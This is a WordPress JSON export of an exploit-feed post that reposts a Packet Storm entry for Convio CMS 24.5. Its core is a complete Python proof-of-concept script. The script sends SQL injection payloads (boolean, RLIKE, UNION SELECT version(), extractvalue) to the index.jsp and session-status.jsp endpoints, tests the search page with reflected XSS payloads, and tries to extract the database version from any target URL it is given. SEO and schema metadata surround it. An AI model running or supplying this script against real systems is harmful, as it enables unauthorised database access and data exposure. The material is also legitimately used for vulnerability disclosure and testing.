{"id":30430,"date":"2025-12-11T11:38:29","date_gmt":"2025-12-11T11:38:29","guid":{"rendered":"http:\/\/localhost\/?p=30430"},"modified":"2025-12-11T11:38:29","modified_gmt":"2025-12-11T11:38:29","slug":"convio-cms-245-sql-injection","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=30430","title":{"rendered":"\ud83d\udcc4 Convio CMS 24.5 SQL Injection_PACKETSTORM:212725"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-11T17:25:24&#8243;,&#8221;description&#8221;:&#8221;Convio CMS version 24.5 proof of concept remote SQL injection exploit&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-11T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-11T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Convio CMS 24.5 SQL Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212725&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Convio CMS v 24.5 SQL Injection Exploit                                                                                     |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits)                                                            |\\n    | # Vendor    : http:\/\/www.convio.com                                                                                                       |\\n    =============================================================================================================================================\\n    \\n    POC : \\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/182998\/\\n    \\n    \\n    [+] Summary : \\n                  Multiple critical SQL injection vulnerabilities were discovered in Convio CMS version 24.5 affecting various application endpoints. \\n    \\t\\t\\t  These vulnerabilities allow authenticated attackers to execute arbitrary SQL commands, potentially leading to complete database compromise, authentication bypass, and unauthorized data access.\\n    \\t\\t\\t  The vulnerabilities exist due to improper input validation and lack of parameterized queries in multiple JSP endpoints. Attackers can inject malicious SQL code through various parameters, \\n    \\t\\t\\t  allowing direct database manipulation and information disclosure.\\n    \\n          \\n    \\n    [+] POC :  python poc.py\\n    \\n               python 1.py -u http:\/\/127.0.0.1\/ &#8211;test-all\\n    \\n    #!\/usr\/bin\/env python3\\n    \\&#8221;\\&#8221;\\&#8221;\\n    Convio CMS SQL Injection Exploit\\n    Authenticated Persistent SQL Injection\\n    Researcher: indoushka\\n    \\&#8221;\\&#8221;\\&#8221;\\n    \\n    import requests\\n    import sys\\n    import urllib3\\n    from argparse import ArgumentParser\\n    \\n    # Disable SSL warnings\\n    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\\n    \\n    class ConvioCMSExploit:\\n        def __init__(self, target, verbose=False):\\n            self.target = target.rstrip(&#8216;\/&#8217;)\\n            self.verbose = verbose\\n            self.session = requests.Session()\\n            self.session.headers.update({\\n                &#8216;User-Agent&#8217;: &#8216;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36&#8217;,\\n                &#8216;Accept&#8217;: &#8216;text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8&#8217;,\\n                &#8216;Accept-Language&#8217;: &#8216;en-US,en;q=0.5&#8217;,\\n                &#8216;Connection&#8217;: &#8216;keep-alive&#8217;\\n            })\\n    \\n        def log(self, message, level=\\&#8221;INFO\\&#8221;):\\n            colors = {\\n                \\&#8221;INFO\\&#8221;: \\&#8221;\\\\033[94m\\&#8221;,\\n                \\&#8221;SUCCESS\\&#8221;: \\&#8221;\\\\033[92m\\&#8221;,\\n                \\&#8221;WARNING\\&#8221;: \\&#8221;\\\\033[93m\\&#8221;,\\n                \\&#8221;ERROR\\&#8221;: \\&#8221;\\\\033[91m\\&#8221;,\\n                \\&#8221;RESET\\&#8221;: \\&#8221;\\\\033[0m\\&#8221;\\n            }\\n            print(f\\&#8221;{colors.get(level, &#8221;)}[{level}] {message}{colors[&#8216;RESET&#8217;]}\\&#8221;)\\n    \\n        def test_sql_injection(self, url, payload, detection_string=None):\\n            \\&#8221;\\&#8221;\\&#8221;Test SQL injection vulnerability\\&#8221;\\&#8221;\\&#8221;\\n            try:\\n                if self.verbose:\\n                    self.log(f\\&#8221;Testing URL: {url}\\&#8221;, \\&#8221;INFO\\&#8221;)\\n                \\n                response = self.session.get(url, verify=False, timeout=10)\\n                \\n                if detection_string:\\n                    if detection_string in response.text:\\n                        return True, response\\n                else:\\n                    # Check for generic SQL error patterns\\n                    sql_errors = [\\n                        \\&#8221;sql\\&#8221;, \\&#8221;SQL\\&#8221;, \\&#8221;database\\&#8221;, \\&#8221;Database\\&#8221;, \\n                        \\&#8221;syntax\\&#8221;, \\&#8221;Syntax\\&#8221;, \\&#8221;mysql\\&#8221;, \\&#8221;MySQL\\&#8221;,\\n                        \\&#8221;ora-\\&#8221;, \\&#8221;ORA-\\&#8221;, \\&#8221;microsoft\\&#8221;, \\&#8221;Microsoft\\&#8221;\\n                    ]\\n                    if any(error in response.text for error in sql_errors):\\n                        return True, response\\n                \\n                return False, response\\n                \\n            except Exception as e:\\n                self.log(f\\&#8221;Error testing {url}: {str(e)}\\&#8221;, \\&#8221;ERROR\\&#8221;)\\n                return False, None\\n    \\n        def exploit_index_jsp(self):\\n            \\&#8221;\\&#8221;\\&#8221;Exploit index.jsp SQL injection\\&#8221;\\&#8221;\\&#8221;\\n            self.log(\\&#8221;Testing index.jsp SQL injection&#8230;\\&#8221;, \\&#8221;INFO\\&#8221;)\\n            \\n            payloads = [\\n                \\&#8221;2&#8242; RLIKE (SELECT (CASE WHEN (7273121=7273121) THEN 0x74657374696E70757476616C7565 ELSE 0x28 END))&#8211;\\&#8221;,\\n                \\&#8221;2&#8242; AND 1=1&#8211;\\&#8221;,\\n                \\&#8221;2&#8242; AND 1=2&#8211;\\&#8221;,\\n                \\&#8221;2&#8242; UNION SELECT NULL,NULL,NULL&#8211;\\&#8221;,\\n                \\&#8221;2&#8242; OR &#8216;1&#8217;=&#8217;1\\&#8221;\\n            ]\\n            \\n            vulnerable = False\\n            for payload in payloads:\\n                test_url = f\\&#8221;{self.target}\/about\/news\/index.jsp?page={payload}\\&#8221;\\n                is_vulnerable, response = self.test_sql_injection(test_url, payload)\\n                \\n                if is_vulnerable:\\n                    self.log(f\\&#8221;Vulnerable payload: {payload}\\&#8221;, \\&#8221;SUCCESS\\&#8221;)\\n                    vulnerable = True\\n                    break\\n            \\n            return vulnerable\\n    \\n        def exploit_session_status_jsp(self):\\n            \\&#8221;\\&#8221;\\&#8221;Exploit session-status.jsp SQL injection\\&#8221;\\&#8221;\\&#8221;\\n            self.log(\\&#8221;Testing session-status.jsp SQL injection&#8230;\\&#8221;, \\&#8221;INFO\\&#8221;)\\n            \\n            payloads = [\\n                \\&#8221;99999999\/**\/OR\/**\/5563379=5563379&#8211;\\&#8221;,\\n                \\&#8221;1715702042268&#8217;\/**\/RLIKE\/**\/(case\/**\/when\/**\/\/**\/4007635=4007635\/**\/then\/**\/0x74657374696E70757476616C7565\/**\/else\/**\/0x28\/**\/end)\/**\/and\/**\/ &#8216;%&#8217;=&#8217;\\&#8221;,\\n                \\&#8221;1&#8217; OR &#8216;1&#8217;=&#8217;1&#8242;&#8211;\\&#8221;,\\n                \\&#8221;1&#8242; UNION SELECT version(),2,3&#8211;\\&#8221;\\n            ]\\n            \\n            vulnerable = False\\n            for payload in payloads:\\n                test_url = f\\&#8221;{self.target}\/system\/auth\/session-status.jsp?nocache={payload}\\&#8221;\\n                is_vulnerable, response = self.test_sql_injection(test_url, payload)\\n                \\n                if is_vulnerable:\\n                    self.log(f\\&#8221;Vulnerable payload: {payload}\\&#8221;, \\&#8221;SUCCESS\\&#8221;)\\n                    vulnerable = True\\n                    break\\n            \\n            return vulnerable\\n    \\n        def exploit_search_xss(self):\\n            \\&#8221;\\&#8221;\\&#8221;Test XSS in search functionality\\&#8221;\\&#8221;\\&#8221;\\n            self.log(\\&#8221;Testing XSS in search functionality&#8230;\\&#8221;, \\&#8221;INFO\\&#8221;)\\n            \\n            xss_payloads = [\\n                \\&#8221;\\u003cscript\\u003ealert(&#8216;XSS&#8217;)\\u003c\/script\\u003e\\&#8221;,\\n                \\&#8221;\\u003cimg src=x onerror=alert(1)\\u003e\\&#8221;,\\n                \\&#8221;&#8216;\\\\\\&#8221;\\u003e\\u003cscript\\u003ealert(1)\\u003c\/script\\u003e\\&#8221;,\\n                \\&#8221;javascript:alert(&#8216;XSS&#8217;)\\&#8221;\\n            ]\\n            \\n            vulnerable = False\\n            for payload in xss_payloads:\\n                test_url = f\\&#8221;{self.target}\/search\/?q={payload}\\&#8221;\\n                response = self.session.get(test_url, verify=False, timeout=10)\\n                \\n                if payload in response.text:\\n                    self.log(f\\&#8221;XSS vulnerable: {payload}\\&#8221;, \\&#8221;SUCCESS\\&#8221;)\\n                    vulnerable = True\\n                    break\\n            \\n            return vulnerable\\n    \\n        def advanced_exploitation(self):\\n            \\&#8221;\\&#8221;\\&#8221;Advanced SQL injection exploitation\\&#8221;\\&#8221;\\&#8221;\\n            self.log(\\&#8221;Attempting advanced exploitation&#8230;\\&#8221;, \\&#8221;INFO\\&#8221;)\\n            \\n            # Database version extraction\\n            version_payloads = [\\n                \\&#8221;2&#8242; UNION SELECT version(),NULL,NULL&#8211;\\&#8221;,\\n                \\&#8221;2&#8242; UNION SELECT @@version,NULL,NULL&#8211;\\&#8221;,\\n                \\&#8221;2&#8242; AND extractvalue(rand(),concat(0x3a,version()))&#8211;\\&#8221;\\n            ]\\n            \\n            for payload in version_payloads:\\n                test_url = f\\&#8221;{self.target}\/about\/news\/index.jsp?page={payload}\\&#8221;\\n                is_vulnerable, response = self.test_sql_injection(test_url, payload, \\&#8221;MySQL\\&#8221;)\\n                \\n                if is_vulnerable and any(keyword in response.text for keyword in [\\&#8221;5.7\\&#8221;, \\&#8221;8.0\\&#8221;, \\&#8221;10.\\&#8221;, \\&#8221;MariaDB\\&#8221;]):\\n                    self.log(\\&#8221;Database version potentially exposed\\&#8221;, \\&#8221;SUCCESS\\&#8221;)\\n                    # Extract version from response\\n                    lines = response.text.split(&#8216;\\\\n&#8217;)\\n                    for line in lines:\\n                        if any(ver in line for ver in [\\&#8221;5.7\\&#8221;, \\&#8221;8.0\\&#8221;, \\&#8221;10.\\&#8221;]):\\n                            self.log(f\\&#8221;Possible version info: {line[:100]}\\&#8221;, \\&#8221;INFO\\&#8221;)\\n                    break\\n    \\n        def run_comprehensive_test(self):\\n            \\&#8221;\\&#8221;\\&#8221;Run comprehensive vulnerability test\\&#8221;\\&#8221;\\&#8221;\\n            self.log(f\\&#8221;Starting comprehensive test for: {self.target}\\&#8221;, \\&#8221;INFO\\&#8221;)\\n            \\n            results = {\\n                &#8216;index_jsp_sqli&#8217;: False,\\n                &#8216;session_status_sqli&#8217;: False,\\n                &#8216;search_xss&#8217;: False\\n            }\\n            \\n            # Test index.jsp SQLi\\n            results[&#8216;index_jsp_sqli&#8217;] = self.exploit_index_jsp()\\n            \\n            # Test session-status.jsp SQLi\\n            results[&#8216;session_status_sqli&#8217;] = self.exploit_session_status_jsp()\\n            \\n            # Test search XSS\\n            results[&#8216;search_xss&#8217;] = self.exploit_search_xss()\\n            \\n            # Advanced exploitation if SQLi found\\n            if results[&#8216;index_jsp_sqli&#8217;] or results[&#8216;session_status_sqli&#8217;]:\\n                self.advanced_exploitation()\\n            \\n            # Print summary\\n            self.log(\\&#8221;=== EXPLOITATION SUMMARY ===\\&#8221;, \\&#8221;INFO\\&#8221;)\\n            for vuln, status in results.items():\\n                status_str = \\&#8221;VULNERABLE\\&#8221; if status else \\&#8221;NOT VULNERABLE\\&#8221;\\n                color = \\&#8221;SUCCESS\\&#8221; if status else \\&#8221;ERROR\\&#8221;\\n                self.log(f\\&#8221;{vuln}: {status_str}\\&#8221;, color)\\n            \\n            return any(results.values())\\n    \\n    def main():\\n        banner = \\&#8221;\\&#8221;\\&#8221;\\n        \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2557   \u2588\u2588\u2557\u2588\u2588\u2557   \u2588\u2588\u2557\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557\\n        \u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2554\u2550\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2557  \u2588\u2588\u2551\u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2588\u2588\u2557\\n        \u2588\u2588\u2551     \u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2554\u2588\u2588\u2557 \u2588\u2588\u2551\u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2551\u2588\u2588\u2551   \u2588\u2588\u2551\\n        \u2588\u2588\u2551     \u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2551\u255a\u2588\u2588\u2557\u2588\u2588\u2551\u255a\u2588\u2588\u2557 \u2588\u2588\u2554\u255d\u2588\u2588\u2551\u2588\u2588\u2551   \u2588\u2588\u2551\\n        \u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2551 \u255a\u2588\u2588\u2588\u2588\u2551 \u255a\u2588\u2588\u2588\u2588\u2554\u255d \u2588\u2588\u2551\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\\n         \u255a\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u255d  \u255a\u2550\u2550\u2550\u255d  \u255a\u2550\u2550\u2550\u255d  \u255a\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d \\n        \\n        Convio CMS SQL Injection Exploit\\n        Researcher: indoushka\\n        \\&#8221;\\&#8221;\\&#8221;\\n        print(banner)\\n        \\n        parser = ArgumentParser(description=&#8217;Convio CMS SQL Injection Exploit&#8217;)\\n        parser.add_argument(&#8216;-u&#8217;, &#8216;&#8211;url&#8217;, required=True, help=&#8217;Target URL (e.g., https:\/\/example.com)&#8217;)\\n        parser.add_argument(&#8216;-v&#8217;, &#8216;&#8211;verbose&#8217;, action=&#8217;store_true&#8217;, help=&#8217;Enable verbose output&#8217;)\\n        parser.add_argument(&#8216;&#8211;test-all&#8217;, action=&#8217;store_true&#8217;, help=&#8217;Test all vulnerability types&#8217;)\\n        \\n        args = parser.parse_args()\\n        \\n        exploit = ConvioCMSExploit(args.url, args.verbose)\\n        \\n        try:\\n            if exploit.run_comprehensive_test():\\n                exploit.log(\\&#8221;Target appears to be vulnerable!\\&#8221;, \\&#8221;SUCCESS\\&#8221;)\\n            else:\\n                exploit.log(\\&#8221;No vulnerabilities detected\\&#8221;, \\&#8221;WARNING\\&#8221;)\\n                \\n        except KeyboardInterrupt:\\n            exploit.log(\\&#8221;Exploitation interrupted by user\\&#8221;, \\&#8221;ERROR\\&#8221;)\\n            sys.exit(1)\\n        except Exception as e:\\n            exploit.log(f\\&#8221;Unexpected error: {str(e)}\\&#8221;, \\&#8221;ERROR\\&#8221;)\\n            sys.exit(1)\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        main()\\n    \\t\\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/212725&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/212725\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-11T17:25:24&#8243;,&#8221;description&#8221;:&#8221;Convio CMS version 24.5 proof of concept remote SQL injection exploit&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-11T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-11T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Convio CMS 24.5 SQL Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212725&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n | # Title : Convio CMS v 24.5 SQL&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-30430","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Convio CMS 24.5 SQL Injection_PACKETSTORM:212725 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=30430\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Convio CMS 24.5 SQL Injection_PACKETSTORM:212725 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-11T17:25:24&#8243;,&#8221;description&#8221;:&#8221;Convio CMS version 24.5 proof of concept remote SQL injection exploit&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-11T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-11T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Convio CMS 24.5 SQL Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212725&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n | # Title : Convio CMS v 24.5 SQL...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=30430\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-11T11:38:29+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30430#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30430\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Convio CMS 24.5 SQL Injection_PACKETSTORM:212725\",\"datePublished\":\"2025-12-11T11:38:29+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30430\"},\"wordCount\":1321,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=30430#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30430\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30430\",\"name\":\"\ud83d\udcc4 Convio CMS 24.5 SQL Injection_PACKETSTORM:212725 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-11T11:38:29+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30430#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=30430\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30430#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Convio CMS 24.5 SQL Injection_PACKETSTORM:212725\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Convio CMS 24.5 SQL Injection_PACKETSTORM:212725 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=30430","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Convio CMS 24.5 SQL Injection_PACKETSTORM:212725 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-11T17:25:24&#8243;,&#8221;description&#8221;:&#8221;Convio CMS version 24.5 proof of concept remote SQL injection exploit&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-11T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-11T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Convio CMS 24.5 SQL Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212725&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n | # Title : Convio CMS v 24.5 SQL...","og_url":"https:\/\/zero.redgem.net\/?p=30430","og_site_name":"zero redgem","article_published_time":"2025-12-11T11:38:29+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"7 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=30430#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=30430"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Convio CMS 24.5 SQL Injection_PACKETSTORM:212725","datePublished":"2025-12-11T11:38:29+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=30430"},"wordCount":1321,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=30430#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=30430","url":"https:\/\/zero.redgem.net\/?p=30430","name":"\ud83d\udcc4 Convio CMS 24.5 SQL Injection_PACKETSTORM:212725 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-11T11:38:29+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=30430#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=30430"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=30430#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Convio CMS 24.5 SQL Injection_PACKETSTORM:212725"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero 